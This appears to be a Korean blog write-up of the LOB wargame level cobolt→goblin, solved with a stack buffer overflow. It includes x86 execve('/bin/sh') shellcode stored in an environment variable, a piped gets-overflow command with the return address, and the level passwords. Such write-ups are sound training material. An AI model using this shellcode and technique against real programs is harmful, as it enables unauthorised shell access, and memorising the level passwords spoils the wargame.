cobolt / hacking exposed로 접속
goblin.c 파일을 보면 저번과 비슷한 문제지만 이번에는 gets함수로 문자열을 받아온다. 버퍼의 크기가 16바이트이기 때문에 이번에도 환경변수를 이용해 문제를 풀어볼 것이다.
export로 환경변수를 설정하고
export shellcode=`python -c 'print"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
getenv함수로 쉘 코드의 주소를 구한다.
쉘코드 주소 : bfffff09
gets함수로 문자열을 받아온다는 걸 간과하고 저번처럼 입력했다가 실행이 안되는 것을 알았다.
이번에는 파이프를 사용해 gets에 들어갈 인자를 전달해주었다. cat 명령어는 프로그램이 종료되지 않고 입력을 대기하게 함으로써 my-pass 명령어를 사용할 수 있게 하는 용도로 사용한 것이다.
(python -c 'print("\x90"*20+"\x09\xff\xff\xbf")'; cat) | ./goblin
공격에 성공했다!
hackers proof
'시스템 해킹 > LOB' 카테고리의 다른 글
[LOB] wolfman → darkelf (0) | 2021.02.22 |
---|---|
[LOB] orc → wolfman (0) | 2021.02.21 |
[LOB] goblin → orc (0) | 2021.02.21 |
[LOB] gremlin → cobolt (0) | 2021.02.20 |
[LOB] gate → gremlin (0) | 2021.02.09 |